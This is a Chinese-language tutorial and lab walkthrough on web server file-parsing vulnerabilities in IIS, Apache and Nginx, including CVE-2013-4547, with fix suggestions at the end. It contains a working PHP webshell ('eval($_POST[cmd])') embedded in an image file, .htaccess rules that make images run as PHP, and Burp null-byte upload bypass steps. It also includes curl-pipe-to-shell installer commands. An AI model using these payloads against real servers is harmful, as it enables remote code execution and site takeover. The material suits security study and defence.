当我们访问web服务器时,如:www.test.com/index.php文件时,向web服务器发出请求,访问php文件,php的解析器将php文件解析成静态文件,返回给浏览器供用户浏览。

服务器解析漏洞就发生在浏览器向服务器上传文件时,服务器把攻击者恶意构造的文件进行解析,并返回给浏览器,从而达到上传恶意文件的目的。

一、解析漏洞分类


0x01 IIS5.x/6.0解析漏洞

IIS的解析方法有两种

1、目录解析

如果服务器上存在一个目录为xx.asp,那么在这个目录下的文件都会被解析成asp文件。

目录解析

连接成功

2、文件解析

文件解析

通过菜刀进行连接即可连接成功。

连接成功

IIS6.0除了执行asp文件外,还可以执行如:asa、cer、cdx等文件后缀的文件。可结合目录解析漏洞进行利用。如:xxx.cer/xxx.jpg,xxx.asa;.jpg。

0x02 apache解析漏洞


1、多种后缀

apache对文件后缀的识别是从右往左进行解析,如:xxx.php.hcx.hts。会先判断右边的.hts后缀,发现这个后缀不正常,开始解析.hcx,最终解析到php文件,从而执行恶意文件。

查看php的模块配置文件/etc/apache2/mods-available/php7.0.conf

#从下面的FileMatch中可以看到".+.ph(p[3457]?|t|tml)$",$代表最后一个,说明php本身
#还是检测最后一个后缀的 。

<FilesMatch ".+.ph(p[3457]?|t|tml)$">
	SetHandler application/x-httpd-php
</FilesMatch>

<FilesMatch ".+.phps$">
	SetHandler application/x-httpd-php-source
	# Deny access to raw php sources by default
	# To re-enable it's recommended to enable access to the files
	# only in specific virtual host or directory
	Require all denied
</FilesMatch>

Deny access to files without filename (e.g. '.php')

<FilesMatch "^.ph(p[3457]?|t|tml|ps)$">
	Require all denied
</FilesMatch>

Running PHP scripts in user directories is disabled by default
To re-enable PHP in user directories comment the following lines
(from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
	php_admin_flag engine Off
</Directory>

访问如下,php未解析,直接返回源代码:

php文件未解析

接下来,我们将上述那段配置文件中18行的$改成\.线。

<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">
	SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps\.">
	SetHandler application/x-httpd-php-source
	# Deny access to raw php sources by default
	# To re-enable it's recommended to enable access to the files
	# only in specific virtual host or directory
	Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)\.">
	Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
	<Directory /home/*/public_html>
		php_admin_flag engine Off
	</Directory>
</IfModule>

重启apache服务。

service apache2 restart

php文件解析成功

php文件解析成功

文件解析成功。

2、罕见后缀

apache会解析特定的mime类型的文件,在/etc/mime.types文件中定义了可以解析的文件后缀格式。

enter description here

如果站点的文件上传处,未对在mime.types文件中类型进行过滤,那么有可能攻击者可以通过上传apache解析的异类php文件后缀,从而绕过站点过滤器。

3、.htacesss文件

在网站根目录默认不存在.htaccess文件,需要自己建立,.htaccess内容如下

AddType application/x-httpd-php xxx

<FilesMatch "shell.jpg">
	SetHandler application/x-httpd-php
</FilesMatch>

.htaccess功能默认是未开启的,访问结果如下:

enter description here

编辑apache配置文件,将AllowOverride None改成AllowOverride All

<Directory />
		Options FollowSymLinks
		AllowOverride All
		Require all denied
</Directory>

<Directory /usr/share>
		AllowOverride None
		Require all granted
</Directory>

<Directory /var/www/>
		Options Indexes FollowSymLinks
		AllowOverride All
		Require all granted
</Directory>

#<Directory /srv/>
#       Options Indexes FollowSymLinks
#       AllowOverride None
#       Require all granted
#</Directory>

并且将.ht开头的匹配改成granted.

<FilesMatch "^.ht">
	Require all granted
</FilesMatch>

加载rewrite模块,rewrite模块通过创建软连接的形式进行加载

cd /etc/apache2/mods-enabled/
ln -s ../mods-available/rewrite.load rewrite.load

如上,.htaccess功能已经开启。在网站根目录(/var/www/html)建立相应的测试文件。

root@kali:/var/www/html# tree
.
├── index.html
├── index.php
├── shell.jpg
├── test
	│ ├── shell.jpg
	│ └── [type.xxx](http://type.xxx/)
└── [type.xxx](http://type.xxx/)

shell.jpg和type.xxx的内容均为

<?php echo 'HELLO WORLD'; ?>

浏览器访问shell.jpg图片后缀和type.xxx的文件,直接执行了php代码文件。

php文件解析成功

解析成功

合理的利用.htaccess文件可以很好的绕过php后缀的过滤。

文件解析漏洞总结-Apache - CSDN博客

0x03 nginx解析漏洞

Nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。

Nginx在0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37版本中曾被发现存在较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。

nginx漏洞环境搭建起来比较麻烦,还是直接用漏洞平台吧!

所以,就拿vulhub漏洞平台进行演示。

-_-

vulhub项目地址:https://github.com/vulhub/vulhub

vulhub漏洞平台基于docker进行搭建,docker的好处是漏洞环境可以直接拉取下来,直接可以使用,不用自己重新去搭建环境。

1、安装docker

# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3

# 安装最新版docker
curl -s https://get.docker.com/ | sh

# 启动docker服务
service docker start

# 安装compose
pip install docker-compose

2、vulhub用法

# 拉取项目
git clone https://github.com/vulhub/vulhub.git
cd vulhub

# 进入某一个漏洞/环境的目录
cd flask/ssti

# 自动化编译环境
docker-compose build

# 启动整个环境
docker-compose up -d

以上来自vulhub的readme

注:启动环境时,注意系统时间的设置,如果时间不一致会报错。

Get https://registry-1.docker.io/v2/: x509: certificate has expired or is no

环境搭建完成。


3、nginx解析原理

nginx解析漏洞与nginx、php版本无关,属于用户配置文件配置不当造成的,但在高版本的php中,引入了“security.limit_extensions”机制,默认只解析后缀为.php的文件。

nginx版本如下:

nginx version

Nginx拿到一个test.jpg/.php的文件之后,看到url最后面的php文件后缀,便认为是php文件,交给php解析器进行处理,但php解析器未发现这个php文件,便去掉php后缀,取test.jpg,test.jpg存在但不是php文件而是图片文件,php解析器不解析,返回Access denied。

nginx解析漏洞有80sec组织发现的,当在fastcgi开启的情况下,攻击者上传一个jpg文件,测试内容如下:

<?PHP phpinfo() ?>

然后访问xxx.jpg/.php文件,那么这个文件会解析成php文件。

此时,显示如下:

Access denied

Access denied

显示Access denied

这是因为在最新版的php.ini配置文件中,cgi.fix_pathinfo=1,默认为1,如果将cgi.fix_pathinof设置为0,那么就不解析后面的后缀了,解析漏洞也就不存在了。

php.ini

现在还解析不了,因为在新版本的php中引入了“security.limit_extensions”机制,限制了可执行文件的后缀。

# 查找php-fpm.conf文件
    
# find / -name php-fpm.conf
/etc/php-fpm.conf

php-fpm.conf文件包含了/etc/php-fpm.d/*.conf目录下的文件配置。

*.conf

进入到/etc/php-fpm.d/目录下,编辑相应的配置文件,找到security.limit_extensions,添加gif后缀。

*.conf

重启nginx和php-fpm服务,通过浏览器访问xxx.jpg/.php,解析成功。

浏览器访问

4、制作图片马

copy xx.png/b + yy.txt/a xy.png
    
# yy.txt内容如下:
    
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

制作图片马

制作成功

上传一个png图片马,浏览器访问。

浏览器访问

菜刀访问生成的shell.php文件,http://192.168.63.131/shell.php。

菜刀访问


参考:https://blog.csdn.net/wn314/article/details/77388289

5、修复建议:

  • 将php.ini配置文件中的cgi.fix_pathinfo=1改成cgi.fix_pathinfo=0

  • 通过新版本的php中引入了“security.limit_extensions”机制,限制了可执行文件的后缀。

6、Nginx 文件名逻辑漏洞(CVE-2013-4547)

扩展下另一个漏洞,也被叫做为00截断。

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

nginx的配置文件中:

location ~ \.php$ {
			root           html;
			fastcgi_pass   127.0.0.1:9000;
			fastcgi_index  index.php;
			fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
			include        fastcgi_params;
#           try_files   $uri = 404;

		}

默认匹配到.php结尾的文件就发给fastcgi进行解析,

在cgi.fix_pathinfo=0的情况下,默认只允许执行php后缀的文件,如果存在**Nginx 文件名逻辑漏洞(CVE-2013-4547),**则非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,允许攻击者通过非编码空格绕过后缀限制,从而执行php代码。

利用vulhub环境测试,测试页面如下:

表单

6.1、上传gif图片文件,burp拦截请求。

gif图片文件内容如下:

<?php phpinfo();?>

gif内容

将1.gif改为1.gif[空格],.gif后面加一个空格,点击forward,提示上传成功。

6.2、浏览器访问

浏览器访问192.168.63.140:8080/uploadfiles/1.gif…php,在gif后面加…php,方便改包,burp将请求包拦截下来。

包拦截

改包

将gif后的第一个点改为20,第二个点改成00,点击forward。

最终请求的url就是192.168.63.140:8080/uploadfiles/1.gif1.gif[0x20][0x00].php

6.3、php代码成功执行。

代码成功执行